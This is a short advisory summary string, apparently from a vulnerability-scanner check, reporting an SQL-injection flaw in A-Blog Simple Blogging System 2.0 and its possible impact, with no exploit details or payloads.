tag_summary = "A-Blog Simple Blogging System is prone to an SQL-injection
vulnerability because it fails to sufficiently sanitize user-supplied
data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the
application, access or modify data, or exploit latent vulnerabilities
in the underlying database.

A-Blog 2.0 is vulnerable; other versions may also be affected.";
